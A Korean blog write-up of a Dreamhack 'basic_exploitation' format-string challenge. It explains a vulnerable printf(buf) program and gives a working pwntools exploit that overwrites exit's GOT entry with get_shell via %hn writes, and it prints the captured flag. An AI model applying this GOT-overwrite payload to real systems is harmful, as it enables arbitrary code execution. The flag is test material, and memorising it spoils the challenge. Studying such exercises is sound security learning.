.
FSB는 Format String Bug의 약자로 서식 문자를 사용하는 함수에서 발생한다.
printf에 문자열로 "%s, %p, %d, %n" 등이 들어간다면 "서식문자"로 인식하게 된다.
이렇게... 입력한 문자가 똑같이 출력된다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
문제 코드이다.
alarm_handler(): SIGALRM 시그널을 처리하는 함수로, 시간이 30초 경과하면 "TIME OUT"을 출력하고 프로그램을 종료한다.
initialize(): 입출력 버퍼의 설정, 시그널 핸들러 등의 초기화를 담당하는 함수이다. 특히 SIGALRM 시그널을 처리하기 위해 alarm_handler 함수를 등록하고 30초 동안의 타임아웃을 설정한다.
get_shell(): /bin/sh 쉘을 실행하는 함수한다. 이 함수를 호출하면 프로그램이 /bin/sh 쉘을 실행한다.
main(): 프로그램의 진입점이다. 128바이트 크기의 버퍼 buf를 선언하고, initialize 함수를 호출하여 초기화를 수행한다. 그 후, 표준 입력에서 128바이트를 읽어 buf에 저장하고, 사용자가 입력한 내용을 그대로 출력한다. 이 부분에서 버퍼 오버플로우 취약점이 발생할 수 있다. 마지막으로 프로그램을 정상적으로 종료한다.
print(buf): 사용자로부터 입력받은 buf를 서식 문자열로 바로 사용하고 있다. 따라서 FSB가 발생할 수 있다.
Solve:
그러므로 buf에 서식 문자를 넣어서 FSB를 발생시킨 뒤에 get_shell 함수를 실행시키게 하면 될 것이 자명하다.
여기서 get_shell을 실행시키기 위해서는 exit(0)을 이용해야 한다.
그러므로 exit이 실행될 때 exit 대신 get_shell이 실행되게 만들어줘야 한다.
그렇게 하기 위해서는 exit_got에 get_shell 함수 주소로 Overwrite를 해야 한다.
그래서 우리에게 필요한 것은 exit_got Overwrite을 위 exit_got 주소와 get_shell 주소이다.
32비트 바이너리이다.
IDA Pro(32bit) 에서 주소를 찾아봤다.
exit_got 주소 : 804A024
get_shell 주소 : 8048609
from pwn import*
p = remote("host3.dreamhack.games", 1879)
exit = 0x804a024
payload = (p32(exit+2).decode('latin-1') + p32(exit).decode('latin-1') +
"%2044c%1$hn%32261c%2$hn")
p.send(payload)
p.interactive()
exit_got에 get_shell 주소를 %n으로 한 번에 넘겨주기에는 0x8048609 = 134,514,185 으로 값이 크기에, 2바이트씩 잘라서 exit_got에는 0x8609를 exit_got +2 에는 0x804를 넘겨 준다.
이 때, 주소를 적느라 8바이트가 사용되었으므로 %2052c(2052 = 0x804)가 아닌 %2044c(0x804 - 0x8)가 사용된다.
decode('latin-1')를 사용하여 바이트열을 일반 문자열로 변환해주었다.
즉, "%2044c%1$hn%32261c%2$hn" 이 부분이 포맷 문자열이다.
%2044c: 첫 번째 인자에 2044(0x804 - 0x8)만큼 공백 문자를 출력한다.
%1$hn: 다음으로 스택 상의 첫 번째 인자를 2바이트로 출력한다.
%32261c: 이번에는 두 번째 인자에 32261(0x8609 - 0x804)만큼 공백 문자를 출력한다.
%2$hn: 마지막으로 스택 상의 두 번째 인자를 2바이트로 출력한다.
exit의 GOT 항목을 get_shell 함수의 주소로 덮어쓰고, 이후에 exit(0)이 호출될 때 대신에 get_shell 함수가 호출되어 공격자에게 쉘 권한이 주어지도록 하도록.. 만들었다.
쉘이 따졌고 플래그가 출력됐다.
Flag is
DH{59c4a03eff1e4c10c87ff123fb93d56c}
'Pwnable' 카테고리의 다른 글
[DreamHack] Format String Bug 문서화 (0) | 2023.11.14 |
---|---|
[Dreamhack] uaf_overwrite (0) | 2023.11.14 |
스택 카나리, NX&ASLR, PLT&GOT (0) | 2023.09.26 |
[Dreamhack] Return to Library Write-up (0) | 2023.09.25 |
[Dreamhack] ssp_001 Write-up (0) | 2023.09.25 |